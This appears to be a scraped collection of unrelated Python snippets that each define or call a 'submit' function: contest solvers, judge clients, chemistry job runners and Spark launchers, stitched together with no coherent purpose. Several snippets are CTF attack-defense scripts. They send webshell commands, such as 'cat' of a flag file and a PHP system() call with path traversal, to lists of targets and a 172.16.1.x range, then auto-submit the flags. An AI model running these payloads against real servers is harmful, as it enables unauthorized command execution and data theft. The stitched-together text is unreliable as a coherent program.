def main(): name = sys.argv[1] inp = "data/" + name out = name photos = get_photos(inp) print(name) # Create array of horizontal photos and vertical ones verts, slides = divide(photos) # Create good pairs of vertical photos verts = sorted(verts, key=lambda s: len(s.tags), reverse=True) vert_slides = concat_verts(verts) # Add pairs of vertical photos to all slides slides.extend(vert_slides) # Sort slides slides = sorted(slides, key=lambda s: len(s.tags), reverse=True) # Concatenate photos slideshow = concat_slides(slides) # Submit submit(slideshow, out)
def main(saved_model=None): parser = argparse.ArgumentParser(description='Test or submit agent.') parser.add_argument('-t', '--test', action='store', default=True, help='test agent locally') parser.add_argument('-s', '--submit', action='store_true', default=True, help='submit agent to crowdAI server') parser.add_argument('-v', '--visualize', action='store_true', default=False, help='render the environment locally') args = parser.parse_args() # Create environment env = ProstheticsEnv(visualize=args.visualize) env = Env_With_Dict_Observation(env) env = Dict_To_List(env) env = Env_With_JSONable_Actions(env) # Specify Agent #agent = SpecifiedAgent(env.observation_space, env.action_space) agent = PPOAgent(env.observation_space, env.action_space) if saved_model: agent.load(saved_model) train(agent, env) if args.test: test(agent,env) if args.submit: submit(agent)
def crack_oneword(): for i in exploit_list: r = requests.get(i, params={"auth": 'cat /home/njweb/flag/flag'}) m = mat.findall(r.content) if len(m) > 0: print m[0] submit.submit(m[0])
def do(): for i in range(1, 21): try: ans = exploit("172.16.1.%d" % (i)).strip() print ans submit.submit(ans) except: continue
def crack_oneword(): for i in exploit_list: r = requests.post( i, data={"c": 'system("cat ../../../../../flag/flag");'}) a = mat.findall(r.content) if len(a) > 0: submit.submit(a[0]) else: print i
def run_ALL(): print 'ready to sample...' sample(1000000) print 'sample done!\n ready to processing data' dp.dataProcess() print 'processing data done!\nready to train data' predict() print 'train done' submit('submission_2') print 'All done'
def solve_all(): for fname in [ "data/a_example.txt", "data/b_lovely_land.txt", "data/c_memorable_moments.txt", "data/d_pet_pictures.txt", "data/e_shiny/selfies.txt" ]: photos = get_photos(fname) slideshow = slide_transform(simple_slideshow(photos)) res = solve(slideshow, len(slideshow), 10, 30) new_slideshow = [slideshow[i] for i in res] submit(new_slideshow, fname[:-3] + 'out')
def submit_main(prog, options): desc = 'submit an exploit' parser = argparse.ArgumentParser(description=desc, prog=prog) add_exploit(parser) add_service_dir(parser) add_target(parser) add_token(parser, False) add_conf(parser) add_branch(parser) args = parser.parse_args(options) submit(args.exploit, args.service_dir, args.branch, args.target, args.conf, args.token)
def run_baseline(write_to_file = "", send_to_scorer = ""): """ Run get_answers and do something with them. write_to_file : if this is not "", then set it to a filename and it will write to it send_to_scorer : string of your netid, submit this to the 4740 scorer website """ q, a = get_answer(first=201) out = submit.formatAnswers(q, a) print out print "===============" if(len(send_to_scorer) > 0): print submit.submit(send_to_scorer, out) if(len(write_to_file) > 0): to_file(q, a, write_to_file) print "Written to " + write_to_file
def submit(self, spec, parameters, context): job = build_job(spec['process'], parameters, self.config) if 'command' in job: wrapped_cmd = make_oneliner(job) elif 'script' in job: wrapped_cmd = make_script(job) image = spec['environment']['image'] tag = spec['environment']['imagetag'] log.info('state context is %s', context) log.info('would run job %s', job) create_context(context) log.info('submitting!') job_id = submit.submit('atlas', image, wrapped_cmd) log.info('submitted job: %s', job_id) return ExternalProxy(job_id=job_id, spec=spec, pars=parameters, ctx=context)
def do_submit(args): try: src = open(args.file).read() except Exception: print "File not found!" exit(1) session = get_session() if session == None or not is_logged_in(session): print "Invalid session. Please login." exit(1) if args.problem_ID < 1: print "Invalid problem ID!" exit(1) submit(session, args.problem_ID, args.language, src) print "File submitted!" write_session(session)
def fullQM(L,suffix=''): coord = L[0] # main = L[1]# name of main fragment #N = int( L[2]) #no. of atoms in main fragment #scaling = float(L[3]) main_charge = int(L[1]) main_mult = int(L[2]) job = L[3] root = int(L[4]) name = coord+suffix make_fullQM_input.make_input(coord+'.xyz',job,name,main_charge,main_mult) #pc file not reqd. submit.submit(name+'_fullQM_'+job) #change inp filename as per make_input En = energy.energy(name+'_fullQM_'+job+'.out') #change inp filename as per make_input return En
def submit_route(): if not request.json: return ('No JSON in request', 400) if 'geojson' not in request.json: return ('No geojson key in request', 400) if 'user' not in request.json: return ('No user user in request', 400) geojson = request.json.get('geojson', '') classification = bool(request.json.get('classification', '')) user = request.json.get('user', '') submit_response = submit.submit(geojson, classification, user) return submit_response
def submitbtn(self): try: ipaddress.IPv4Address(self.ip.text) ipaddress.IPv4Network(self.mask.text) except: return result = submit(self.ip.text, self.mask.text) popup = Popup(title='Result:', content=Label(text=result, font_name="DroidSansMono", font_size=13), size_hint=(.85, .6)) popup.open()
def main(argv): if not os.path.isdir(CONFIG_DIRECTORY): print("Creating directory for first time use...\n") os.mkdir(CONFIG_DIRECTORY) os.mkdir(CONFIG_DIRECTORY + "\\configs") os.mkdir(CONFIG_DIRECTORY + "\\seasions") parser = argparse.ArgumentParser(prog="cfun") parser.add_argument("command", help="your command") parser.add_argument("-f", "--file", help="location of your file", default="main.cpp") parser.add_argument("-pr", "--problem", help="problem you want to submit", default=os.path.basename(os.getcwd())) parser.add_argument("-u", "--user", help="Username", default=None) args = parser.parse_args() if args.command == "login": login.login_set() elif args.command == "submit": submit.submit(args.file, args.problem, False) elif args.command == "status": status.status(args.user)
def clicked_submit(): try: if not request.is_json: raise InvalidInput country_id = request.json['country_id'] wishlist = request.json['wishes'] wishes_in_same_country, wishes_worldwide = submit(country_id, wishlist) wishes_in_same_country = _to_json(wishes_in_same_country) wishes_worldwide = _to_json(wishes_worldwide) return { 'wishes_in_same_country': wishes_in_same_country, 'wishes_worldwide': wishes_worldwide } except (KeyError, InvalidInput): return {'error': 0}, 400, {'Content-Type': 'application/json'}
def main(): colorama.init() args = getargs.getargs() TYPE = 'status' _prob = args.problem CPID = None match_link = re.search(r'cpid=(\d+)', _prob) match_cpid = re.match(r'(\d+)', _prob) if match_link is not None: CPID = match_link.group(1) elif match_cpid is not None: CPID = match_cpid.group(1) else: raise ValueError('Invalid CPID') # add for verbose in future # sys.stderr.write(f'found cpid of {CPID}\n') if args.fresh: session.invalidate_sessid() if args.file is not None: TYPE = 'submission' sid = '-1' if TYPE == 'status': sid = submit.get_sid(CPID) elif TYPE == 'submission': FILE = Path(args.file) LANG = args.lang CODE = None if not Path(FILE).is_file(): raise FileNotFoundError(f'cant find file: {FILE}') if LANG == 'infer': FILEEXT = Path(FILE).resolve(strict=True).suffix.strip('.') CODE = submitutil.infer(FILEEXT) else: CODE = submitutil.get_code(LANG) sid = submit.submit(FILE, CODE, CPID) status.display_status(sid)
def getSubmit(self): url = "%s?mid=%s&page=1&pagesize=%s" % ( bilibili.submitUrl, str(self.mid), str(self.getSubmitNumber())) # print(url) submitDict = "" resList = [] try: submitDict = bilibili.getDict(bilibili.getHTMLText(url)) # print(submitDict) vlist = submitDict['data']['vlist'] # 遍历每一个投稿 for item in vlist: resList.append( submit.submit(item['typeid'], item['play'], item['title'], item['created'], item['video_review'], item['favorites'], item['aid'], self.mid)) except bException.bError as e: raise e return resList
def main(): STATES = {'D':('Development',bcolors.WARNING), '':("Unknown",bcolors.FAIL)} if len(sys.argv) <= 1: help(); return app = sys.argv[1] if app == "pack": print "Packing project into game.zip..." pack() elif app == "validate": verify_game_auth() print "Everything seems to be ok." elif app == "listgames": print "Listing your games:" print games = get_all_games() for game in games: print bcolors.HEADER + game['name'] + bcolors.ENDC + ":" print " Game Id : " + game['game_id'] state = STATES[game['status']] print " Status : " + state[1] + state[0] + bcolors.ENDC print elif app == "auth": update_tokens() return elif app == "submit": submit() elif app == "wait": STATES = {'U':('Pending',bcolors.OKBLUE), 'T':("Processed",bcolors.OKGREEN), 'E':("Error",bcolors.FAIL)} collect = {} for sub in get_submited(): if sub['game']['key'] in collect: collect[sub['game']['key']].append(sub) else: collect[sub['game']['key']] = [ sub ] for key in collect.keys(): game = collect[key] print bcolors.HEADER + "%s" % (game[0]['game']['name']) + bcolors.ENDC + ":" print " Game ID : %s" % game[0]['game']['key'] for ver in game[:5]: print print (" Submited on %s by" + bcolors.OKGREEN + " %s " + bcolors.ENDC) % (ver['submission_date'].replace("T"," "), ver['user']['username']) state = STATES[ver['status']] print " Status : " + state[1] + state[0] + bcolors.ENDC print " Digest : " + ver['digest'] elif app == "start": if len(sys.argv) < 3: print "You must specify a project name.\n\nusage: intigos start <project name>" start(sys.argv[2]) return; elif app == "run": try: opts, args = getopt.getopt(sys.argv[2:], 'a:,', ['addr=']) except getopt.GetoptError, err: print str(err) # will print something like "option -a not recognized" sys.exit(2) addr = 'localhost:8000' for o, a in opts: if o in ("-a", "--addr"): addr = a run(addr=addr)
def main(): count = len(sys.argv) new_user = not os.path.isfile(persistence_file) if count == 1: # Interactive based mode print txt.HEADER print txt.MANUAL saved = True new_user = not os.path.isfile(persistence_file) if new_user or not saved: print print txt.WELCOME_MESSAGE print username = raw_input('Username: '******'Hello, ' + USERNAME print cmds = ['submit', 'msubs', 'stats', 'browse', 'help', 'whoami'] # TODO: EDIT, VIEW A file, STATS OF PROBLES, USER, BROWSE PROBLEMS # Customize error printing, comment. Add status, ranking, tests, hints # print problem!!!!! command = '' while command != 'quit': input_sequence = raw_input('~ ').split() command = input_sequence[0] if command == cmds[0]: if len(input_sequence) == 1: submit.submit(USERNAME, PASSWORD, '', '', '', 1) else: pass elif command == cmds[1]: # My sumbissions if len(input_sequence) == 1: consultSubmissions.consultSubmissions(USERID, 1, 0) else: num = input_sequence[1] if num.isdigit(): consultSubmissions.consultSubmissions(USERID, 2, int(num)) else: print 'Flag must be a number' elif command == cmds[2]: # Problem, and users statistics pass elif command == cmds[3]: # Browse a problem pass elif command == cmds[4]: # Print the manual print txt.MANUAL pass elif command == cmds[5]: # Print current logged user print USERNAME print USERID pass elif command != 'quit': distances = dict((spellCorrector.levenshtein(command, real_command), real_command) for real_command in cmds) keys = distances.keys() minimum = min(keys) possible = distances[minimum] print txt.WRONG_COMMAND , possible # Remove user file, if temp session # TODO print txt.FINAL_MESSAGE elif count > 1: # Flag based submission flags = sys.argv if new_user: print txt.FLAG_BASED_AUTH_ERROR else: USERNAME, PASSWORD, USERID, POINTS = userServices.load_user() if count == 2: flag = flags[1] if flag == '-h': print txt.MANUAL if flag == '-sb': consultSubmissions.consultSubmissions(USERID, 0, 5) elif count == 3: flag = flags[1] mode = flags[2] if flag == '-sb': if mode.isdigit(): consultSubmissions.consultSubmissions(USERID, 0, int(mode)) else: print 'Mode must be an integer.' #if count == 2: # -h for help # -s <filename> for submit # -s <filename> <c_pp definition> for submit # -sb <num> for see user submissions, default num is 5 # -st for see user statistics pass
def parse_submit(path): with open(path) as f: N = int(f.readline()) if __name__ == '__main__': path = 'data/c_memorable_moments.txt' photos = get_photos(path) # Create array of horizontal photos and vertical ones verts, slides = divide(photos) # Create good pairs of vertical photos vert_slides = concat_verts(verts) # Add pairs of vertical photos to all slides slides.extend(vert_slides) res = multiprocess_solve(slides, len(slides), 10, 1000) best_res, best_score = None, 0 for r in res: score = fitness(r, slides) if score > best_score: best_res = r best_score = score print("Best score:", best_score) new_slideshow = [slides[i] for i in best_res] submit(new_slideshow, path[:-3] + "out")
def submit_ca(): data = json.loads(request.form.get('data')) submit_data = submit(category=data['tag'], tags=data['tags'], text_id=data['text_id']) return submit_data
def XPOL_n(L, iter_no): coord = L[0] + '.xyz' main = L[1] # name of main fragment N = int(L[2]) #no. of atoms in main fragment scaling = float(L[3]) main_charge = int(L[4]) main_mult = int(L[5]) job = L[6] root = int(L[7]) f = open(main + '_time.txt', 'w') f.close() n = separate.separate(coord, main, N) # n is no. of water molecules #replace_by_Q.replace_by_Q('uracil.xyz') for i in range(n): charge_water.pointcharge('Water' + str(i + 1) + '.xyz') for i in range(n): pc_water.pc_water(i + 1, n) for k in range(iter_no): gen_main_pc.gen_main_pc(main, n) make_input.make_input(main + '.xyz', main + '.pc', main_charge, main_mult) submit.submit(main + '_pc') time = comp_time.comp_time(main + '_pc.out') #comp. time calc. s = 'Time taken for iteration number ' + str( k + 1) + ' for main fragment :\n' s += time + '\n\n' f = open(main + '_time.txt', 'a') f.write(s) f.close() En = energy.energy(main + '_pc.out') f = open(main + '_energy.txt', 'a') s = 'Energy after iteration no. ' + str(k + 1) + ' : ' + str(En) + '\n\n' f.write(s) f.close() replace_by_Q.replace_by_Q( main + '.xyz', main + '_pc.out') #update uracil charges from 1st iter for i in range(n): gen_water_pc.gen_water_pc( i + 1, main, N) #gen. pc files for water using updated uracil charges for i in range(n): make_input.make_input('Water' + str(i + 1) + '.xyz', 'Water' + str(i + 1) + '.pc') for i in range(n): submit.submit('Water' + str(i + 1) + '_pc') time = comp_time.comp_time('Water' + str(i + 1) + '_pc.out') #comp. time calc. s = 'Time taken for iteration number ' + str( k + 1) + ' for water mol. no. ' + str(i + 1) + ' :\n' s += time + '\n\n' f = open(main + '_time.txt', 'a') f.write(s) f.close() for i in range(n): replace_by_Q.replace_by_Q('Water' + str(i + 1) + '.xyz', 'Water' + str(i + 1) + '_pc.out') #update water charges for i in range(n): pc_water.pc_water(i + 1, n) gen_main_pc.gen_main_pc(main, n) #gen. uracil pc file # for i in range (n): # gen_water_pc.gen_water_pc(i+1,main,N)#gen. water pc file # make_input.make_input(main+'.xyz',main+'.pc',main_charge,main_mult)#make input files with updated charges # for i in range (n): # make_input.make_input('Water'+str(i+1)+'.xyz','Water'+str(i+1)+'.pc') # submit.submit(main+'_pc')#submit input files # for i in range (n): # submit.submit('Water'+str(i+1)+'_pc') # En = energy.energy(main+'_pc.out') # print "Energy of "+main+" after iteration "+str(j)+" is "+str(En) # print "delta E = " + str(abs(Eo-En)) ## print 'Converged energy = '+str(En)+'\n\n' ## print 'Scaling the water point charges' ## for i in range(n): ## replace_by_Q.replace_by_Q('Water'+str(i+1)+'.xyz','Water'+str(i+1)+'_pc.out',scaling) ## for i in range (n): ## pc_water.pc_water(i+1,n) ## gen_main_pc.gen_main_pc(main,n)#gen. main fragment pc file ############# # print 'Submitting EOM file' # make_CIS_input.make_DLPNO_input(main+'.xyz',main+'.pc',job) # submit.submit(main+'_'+job+'_CIS_pc') ############# # submit_CHELPG.submit(main+'_'+job+'_CIS_pc-iroot'+str(root)+'.csp') #Regenerating water charges from EE/IP/EA calc. of main frag. # replace_by_Q_EOM.replace_by_Q_EOM(main+'.xyz',main+'_'+job+'_CIS_pc.root'+str(root)+'.'+job+'.out') # for i in range (n): # gen_water_pc.gen_water_pc(i+1,main,N)#gen. pc files for water using updated uracil charges # for i in range (n): # make_input.make_input('Water'+str(i+1)+'.xyz','Water'+str(i+1)+'.pc') # for i in range (n): # submit.submit('Water'+str(i+1)+'_pc') # for i in range(n): # replace_by_Q.replace_by_Q('Water'+str(i+1)+'.xyz','Water'+str(i+1)+'_pc.out')#update water charges #Now we have final water charges # gen_main_pc.gen_main_pc(main,n)#gen. main fragment pc file # print 'Final files generated' # print 'Submitting '+job+' file' # make_DLPNO_input.make_DLPNO_input(main+'.xyz',main+'.pc') # submit.submit(main+'_IP_DLPNO_pc') # print 'IP values obtained' # make_CIS_input.make_DLPNO_input(main+'.xyz',main+'.pc',job) # submit.submit(main+'_'+job+'_CIS_pc') # append_IROOT.append_IROOT(main+'_'+job+'_EOM_pc.out',main,root) return En
def PC(L): coord = L[0] + '.xyz' main = L[1] # name of main fragment N = int(L[2]) #no. of atoms in main fragment scaling = float(L[3]) main_charge = int(L[4]) main_mult = int(L[5]) job = L[6] root = int(L[7]) n = separate.separate(coord, main, N) # n is no. of water molecules #replace_by_Q.replace_by_Q('uracil.xyz') for i in range(n): charge_water.pointcharge('Water' + str(i + 1) + '.xyz') for i in range(n): pc_water.pc_water(i + 1, n) gen_main_pc.gen_main_pc(main, n) #for i in range (n): # gen_water_pc.gen_water_pc(i+1) # make_input.make_input(main+'.xyz',main+'.pc',main_charge,main_mult) #for i in range (n): # make_input.make_input('Water'+str(i+1)+'.xyz','Water'+str(i+1)+'.pc') #submit.submit(main+'_pc') #for i in range (n): # submit.submit('Water'+str(i+1)+'_pc') # En = energy.energy(main+'_pc.out') #print En #replace_by_Q.replace_by_Q(main+'.xyz',main+'_pc.out')#update uracil charges from 1st iter #for i in range (n): # gen_water_pc.gen_water_pc(i+1,main,N)#gen. pc files for water using updated uracil charges #for i in range (n): # make_input.make_input('Water'+str(i+1)+'.xyz','Water'+str(i+1)+'.pc') #for i in range (n): # submit.submit('Water'+str(i+1)+'_pc') # Eo = 0 # j = 0 #epsilon = 0.000001 #while (abs(Eo-En) >= epsilon): # j += 1 #print abs(Eo-En) # print 'Starting iteration no. '+str(j) # Eo = En # replace_by_Q.replace_by_Q(main+'.xyz',main+'_pc.out')#update uracil charges # for i in range(n): # replace_by_Q.replace_by_Q('Water'+str(i+1)+'.xyz','Water'+str(i+1)+'_pc.out')#update water charges # for i in range (n): # pc_water.pc_water(i+1,n) # gen_main_pc.gen_main_pc(main,n)#gen. uracil pc file # for i in range (n): # gen_water_pc.gen_water_pc(i+1,main,N)#gen. water pc file # make_input.make_input(main+'.xyz',main+'.pc',main_charge,main_mult)#make input files with updated charges # for i in range (n): # make_input.make_input('Water'+str(i+1)+'.xyz','Water'+str(i+1)+'.pc') # submit.submit(main+'_pc')#submit input files # for i in range (n): # submit.submit('Water'+str(i+1)+'_pc') # En = energy.energy(main+'_pc.out') # print "Energy of "+main+" after iteration "+str(j)+" is "+str(En) # print "delta E = " + str(abs(Eo-En)) # print 'Converged energy = '+str(En)+'\n\n' # print 'Scaling the water point charges' # for i in range(n): # replace_by_Q.replace_by_Q('Water'+str(i+1)+'.xyz','Water'+str(i+1)+'_pc.out',scaling) # for i in range (n): # pc_water.pc_water(i+1,n) # gen_main_pc.gen_main_pc(main,n)#gen. main fragment pc file # print 'Submitting EOM file' # make_DLPNO_input.make_DLPNO_input(main+'.xyz',main+'.pc',job) # submit.submit(main+'_'+job+'_EOM_pc') # submit_CHELPG.submit(main+'_'+job+'_EOM_pc.root'+str(root)+'.'+job) #Regenerating water charges from EE/IP/EA calc. of main frag. # replace_by_Q_EOM.replace_by_Q_EOM(main+'.xyz',main+'_'+job+'_EOM_pc.root'+str(root)+'.'+job+'.out') # for i in range (n): # gen_water_pc.gen_water_pc(i+1,main,N)#gen. pc files for water using updated uracil charges # for i in range (n): # make_input.make_input('Water'+str(i+1)+'.xyz','Water'+str(i+1)+'.pc') # for i in range (n): # submit.submit('Water'+str(i+1)+'_pc') # for i in range(n): # replace_by_Q.replace_by_Q('Water'+str(i+1)+'.xyz','Water'+str(i+1)+'_pc.out')#update water charges #Now we have final water charges # gen_main_pc.gen_main_pc(main,n)#gen. main fragment pc file # print 'Final files generated' # print 'Submitting '+job+' file' # make_DLPNO_input.make_DLPNO_input(main+'.xyz',main+'.pc') # submit.submit(main+'_IP_DLPNO_pc') # print 'IP values obtained' make_CIS_input.make_DLPNO_input(main + '.xyz', main + '.pc', job) submit.submit(main + '_' + job + '_CIS_pc') print main + '_' + job + '_CIS_pc.out' + ' ' + main + ' ' + str(root) # append_STATE_CIS.append_IROOT(main+'_'+job+'_EOM_pc.out',main,root) return
#!/usr/bin/env python from submit import submit submit('org.janelia.stitching.DeconvolutionSpark')
#!/usr/bin/env python from submit import submit submit('org.janelia.flatfield.FlatfieldCorrection', ['--2d'])
#!/usr/bin/env python from submit import submit submit('org.janelia.flatfield.FlatfieldCorrection')
#!/usr/bin/env python from submit import submit submit('org.janelia.stitching.N5ToSliceTiffSpark', ['-s', '3'])
from set_photos import Slide, get_slides from ga import solve from submit import submit if __name__ == '__main__': slides = get_slides('data/d_pet_pictures.txt') print(len(slides)) res = solve(slides, len(slides), 20, 2000) new_slides = [slides[i] for i in res] submit(new_slides, "test_slides.out")
def submit_problem(self, lang, problem_number, filename, mode): if self.validation: submit.submit(self.username, self.password, lang, problem_number, filename, mode) self.submissions = apiServices.get_submissions(self.user_id)
def main(): if MODE == "SUBMIT": from submit import submit submit() else: test()
#import submit #print dir(submit) #from submit import * #print dir() import submit print "\ndir():" print dir() print "\nsubmit.__doc__" print submit.submit.__doc__ print "\nDefault values from submit module:" print submit.default print "\nSubmit command with default values:" a = submit.submit( **submit.default ) a.submit() print "\nAdd custom value to default values from submit module:" d = submit.default d['cores'] = 1 a = submit.submit( **d ) a.submit() print
#!/usr/bin/env python from submit import submit submit('org.janelia.stitching.ConvertTilesToN5Spark')
#!/usr/bin/env python from submit import submit submit('org.janelia.stitching.StitchingSpark', ['--fuse'])
def submit(host_name, cls, *args, **kwargs): if host_name == "local": submit_2_target_nodet = "local[*]" else: submit_2_target_nodet = "spark://{0}:7077".format(host_name) cmd = [ "spark-submit", "--master", submit_2_target_nodet, "--executor-memory", "140g", "--driver-memory", "64g", "--num-executors", "1", "--executor-cores", "30", "--class", cls, "target/scala-2.11/Preproc-assembly-1.0.jar" ] + list(args) print(cmd) if "log" in kwargs and "log2" in kwargs: log = kwargs["log"] log2 = kwargs["log2"] with open(log, "w") as file: with open(log2, "w") as file2: proc = subprocess.Popen(cmd, stdout=file, stderr=file2) err = proc.wait() else: proc = subprocess.Popen(cmd) err = proc.wait() if err: print("error:", err) submit(host_name, "datatrans.PreprocPipeline", "--config=" + tfname) os.unlink(tfname)
loop, ) from datasets import ( get_dataset, get_gabe_planktons, ) from pylearn2.models import mlp warnings.filterwarnings("ignore") if __name__ == '__main__': train, valid, test = get_dataset() trainer = get_trainer(train, valid, test) in_space = Conv2DSpace( shape=[IMG_SIZE, IMG_SIZE], num_channels=1, # axes=['c', 0, 1, 'b'] ) net = mlp.MLP( layers=[conv0, conv1, conv2, rect0, rect1, smax], input_space=in_space, # nvis=784, ) net = loop(trainer, net) submit(net)